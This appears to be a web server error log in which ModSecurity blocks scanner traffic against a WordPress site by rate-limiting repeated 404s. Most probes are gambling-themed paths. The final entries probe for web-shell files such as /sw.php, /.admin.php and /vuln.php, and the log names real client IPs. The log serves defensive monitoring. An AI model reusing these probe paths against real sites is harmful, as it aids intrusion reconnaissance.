[Sun May 03 04:05:48.839952 2026] [:error] [pid 40638:tid 40685] [client 54.36.60.82:60548] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "afZZHPh3VcFjJ7H1mBaN5wAAAEs"]
[Sun May 03 04:05:51.229621 2026] [:error] [pid 40639:tid 40701] [client 54.36.60.82:60558] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "afZZH69rkyoICq7qxvFDDwAAAIA"]
[Sun May 03 04:05:53.730734 2026] [:error] [pid 40637:tid 40648] [client 54.36.60.82:60566] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "afZZIZB-U30YNJ6CyVgj7QAAAAE"]
[Sun May 03 05:17:50.525545 2026] [:error] [pid 40638:tid 40697] [client 193.70.34.35:44396] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afZp_vh3VcFjJ7H1mBak6QAAAFc"]
[Sun May 03 05:17:53.131422 2026] [:error] [pid 40637:tid 40668] [client 193.70.34.35:44792] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afZqAZB-U30YNJ6CyVg5GQAAABU"]
[Sun May 03 05:17:57.996506 2026] [:error] [pid 40732:tid 40760] [client 193.70.34.35:44804] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "afZqBf1lQrIvlEdzcVcOQgAAANA"]
[Sun May 03 05:18:00.803543 2026] [:error] [pid 40732:tid 40764] [client 193.70.34.35:43030] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afZqCP1lQrIvlEdzcVcOVgAAANQ"]
[Sun May 03 05:18:03.689403 2026] [:error] [pid 40732:tid 40768] [client 193.70.34.35:43034] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afZqC_1lQrIvlEdzcVcOZAAAANg"]
[Sun May 03 05:18:06.313348 2026] [:error] [pid 40637:tid 40662] [client 193.70.34.35:43044] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "afZqDpB-U30YNJ6CyVg5KAAAAA8"]
[Sun May 03 05:18:08.666983 2026] [:error] [pid 40639:tid 40724] [client 193.70.34.35:58262] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "afZqEK9rkyoICq7qxvFfhgAAAJc"]
[Sun May 03 05:18:11.076521 2026] [:error] [pid 21934:tid 21940] [client 193.70.34.35:58278] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "afZqE3WfIjnWjXCxeM4ilQAAAQQ"]
[Sun May 03 05:18:13.408457 2026] [:error] [pid 40639:tid 40713] [client 193.70.34.35:58282] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "afZqFa9rkyoICq7qxvFflAAAAIw"]
[Sun May 03 05:18:16.063839 2026] [:error] [pid 21934:tid 21942] [client 193.70.34.35:58294] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "afZqGHWfIjnWjXCxeM4imgAAAQY"]
[Sun May 03 05:18:18.879899 2026] [:error] [pid 40639:tid 40725] [client 193.70.34.35:44594] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "afZqGq9rkyoICq7qxvFflwAAAJg"]
[Sun May 03 05:18:21.651249 2026] [:error] [pid 40638:tid 40692] [client 193.70.34.35:44600] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "afZqHfh3VcFjJ7H1mBalBQAAAFI"]
[Sun May 03 05:18:24.102439 2026] [:error] [pid 40639:tid 40720] [client 193.70.34.35:44608] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "afZqIK9rkyoICq7qxvFfoAAAAJM"]
[Sun May 03 05:18:26.624855 2026] [:error] [pid 40639:tid 40701] [client 193.70.34.35:44614] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "afZqIq9rkyoICq7qxvFfpgAAAIA"]
[Sun May 03 05:18:29.019873 2026] [:error] [pid 40732:tid 40759] [client 193.70.34.35:60612] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "afZqJf1lQrIvlEdzcVcOrQAAAM8"]
[Sun May 03 05:18:31.604951 2026] [:error] [pid 40732:tid 40763] [client 193.70.34.35:60620] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "afZqJ_1lQrIvlEdzcVcOtQAAANM"]
[Sun May 03 05:18:34.294648 2026] [:error] [pid 40638:tid 40691] [client 193.70.34.35:60632] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "afZqKvh3VcFjJ7H1mBalJAAAAFE"]
[Sun May 03 05:18:36.912451 2026] [:error] [pid 40638:tid 40697] [client 193.70.34.35:60638] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "afZqLPh3VcFjJ7H1mBalLAAAAFc"]
[Sun May 03 05:18:39.592350 2026] [:error] [pid 21934:tid 21941] [client 193.70.34.35:60180] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "afZqL3WfIjnWjXCxeM4ixwAAAQU"]
[Sun May 03 05:18:42.410465 2026] [:error] [pid 21934:tid 21957] [client 193.70.34.35:60196] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "afZqMnWfIjnWjXCxeM4izQAAARU"]
[Sun May 03 05:18:45.202589 2026] [:error] [pid 40638:tid 40694] [client 193.70.34.35:60198] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afZqNfh3VcFjJ7H1mBalNwAAAFQ"]
[Sun May 03 05:22:50.107131 2026] [:error] [pid 40732:tid 40764] [client 193.70.34.35:42486] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "afZrKv1lQrIvlEdzcVcQ3gAAANQ"]
[Sun May 03 05:22:52.689350 2026] [:error] [pid 40639:tid 40725] [client 193.70.34.35:40148] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "afZrLK9rkyoICq7qxvFhXwAAAJg"]
[Sun May 03 05:22:55.207124 2026] [:error] [pid 40732:tid 40768] [client 193.70.34.35:40154] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "afZrL_1lQrIvlEdzcVcQ6wAAANg"]
[Sun May 03 05:22:57.856678 2026] [:error] [pid 40732:tid 40762] [client 193.70.34.35:40166] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "afZrMf1lQrIvlEdzcVcQ8QAAANI"]
[Sun May 03 05:23:00.419297 2026] [:error] [pid 40639:tid 40710] [client 193.70.34.35:48718] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "afZrNK9rkyoICq7qxvFhZwAAAIk"]
[Sun May 03 05:23:02.894129 2026] [:error] [pid 40637:tid 40651] [client 193.70.34.35:48722] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "afZrNpB-U30YNJ6CyVg6aAAAAAQ"]
[Sun May 03 05:23:05.288302 2026] [:error] [pid 40732:tid 40760] [client 193.70.34.35:48738] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "afZrOf1lQrIvlEdzcVcQ-gAAANA"]
[Sun May 03 05:23:07.829360 2026] [:error] [pid 40638:tid 40693] [client 193.70.34.35:48746] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "afZrO_h3VcFjJ7H1mBamXAAAAFM"]
[Sun May 03 05:23:10.383376 2026] [:error] [pid 40732:tid 40763] [client 193.70.34.35:58976] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "afZrPv1lQrIvlEdzcVcRCQAAANM"]
[Sun May 03 05:23:12.783555 2026] [:error] [pid 40637:tid 40664] [client 193.70.34.35:58986] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "afZrQJB-U30YNJ6CyVg6cwAAABE"]
[Sun May 03 05:23:15.428596 2026] [:error] [pid 21934:tid 21956] [client 193.70.34.35:59000] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afZrQ3WfIjnWjXCxeM4lAQAAARQ"]
[Sun May 03 05:23:17.966523 2026] [:error] [pid 40638:tid 40678] [client 193.70.34.35:59008] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "afZrRfh3VcFjJ7H1mBamZAAAAEQ"]
[Sun May 03 05:23:20.809421 2026] [:error] [pid 40732:tid 40756] [client 193.70.34.35:57542] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afZrSP1lQrIvlEdzcVcRJAAAAMw"]
[Sun May 03 05:23:23.559771 2026] [:error] [pid 21934:tid 21951] [client 193.70.34.35:57544] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afZrS3WfIjnWjXCxeM4lGwAAAQ8"]
[Sun May 03 05:23:26.061173 2026] [:error] [pid 21934:tid 21956] [client 193.70.34.35:57552] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afZrTnWfIjnWjXCxeM4lKQAAARQ"]
[Sun May 03 05:23:28.386825 2026] [:error] [pid 40732:tid 40759] [client 193.70.34.35:35974] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afZrUP1lQrIvlEdzcVcRLQAAAM8"]
[Sun May 03 05:23:31.017910 2026] [:error] [pid 40638:tid 40681] [client 193.70.34.35:35988] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afZrU_h3VcFjJ7H1mBameQAAAEc"]
[Sun May 03 05:23:33.588849 2026] [:error] [pid 40638:tid 40696] [client 193.70.34.35:35990] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afZrVfh3VcFjJ7H1mBamgAAAAFY"]
[Sun May 03 05:23:36.053480 2026] [:error] [pid 40638:tid 40695] [client 193.70.34.35:36006] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afZrWPh3VcFjJ7H1mBamigAAAFU"]
[Sun May 03 05:23:38.541680 2026] [:error] [pid 40732:tid 40764] [client 193.70.34.35:57574] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afZrWv1lQrIvlEdzcVcRPwAAANQ"]
[Sun May 03 05:23:41.087601 2026] [:error] [pid 40638:tid 40694] [client 193.70.34.35:57582] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afZrXfh3VcFjJ7H1mBammAAAAFQ"]
[Sun May 03 05:33:13.080369 2026] [autoindex:error] [pid 40732:tid 40762] [client 172.173.121.85:30318] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun May 03 05:33:16.104689 2026] [autoindex:error] [pid 40732:tid 40763] [client 172.173.121.85:30318] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/audio/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun May 03 05:33:18.724386 2026] [:error] [pid 40732:tid 40748] [client 172.173.121.85:30318] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.admin.php"] [unique_id "afZtnv1lQrIvlEdzcVcUrAAAAMQ"]
[Sun May 03 05:33:19.160252 2026] [:error] [pid 21934:tid 21959] [client 172.173.121.85:30217] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.admin.php"] [unique_id "afZtn3WfIjnWjXCxeM4qnAAAARc"]
[Sun May 03 05:33:19.588965 2026] [:error] [pid 40638:tid 40683] [client 172.173.121.85:30234] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.admin.php"] [unique_id "afZtn_h3VcFjJ7H1mBaokQAAAEk"]
[Sun May 03 05:33:20.017610 2026] [:error] [pid 40637:tid 40660] [client 172.173.121.85:30324] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.admin.php"] [unique_id "afZtoJB-U30YNJ6CyVg8sQAAAA0"]
[Sun May 03 05:33:20.464610 2026] [:error] [pid 40639:tid 40720] [client 172.173.121.85:30281] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sw.php"] [unique_id "afZtoK9rkyoICq7qxvFkOwAAAJM"]
[Sun May 03 05:33:20.971431 2026] [:error] [pid 40639:tid 40712] [client 172.173.121.85:30273] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sw.php"] [unique_id "afZtoK9rkyoICq7qxvFkPAAAAIs"]
[Sun May 03 05:33:21.351797 2026] [:error] [pid 40637:tid 40648] [client 172.173.121.85:30229] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sw.php"] [unique_id "afZtoZB-U30YNJ6CyVg8vAAAAAE"]
[Sun May 03 05:33:21.808369 2026] [:error] [pid 40638:tid 40674] [client 172.173.121.85:30211] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sw.php"] [unique_id "afZtofh3VcFjJ7H1mBaokwAAAEA"]
[Sun May 03 05:33:22.219759 2026] [:error] [pid 21934:tid 21949] [client 172.173.121.85:30293] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vuln.php"] [unique_id "afZtonWfIjnWjXCxeM4qngAAAQ0"]
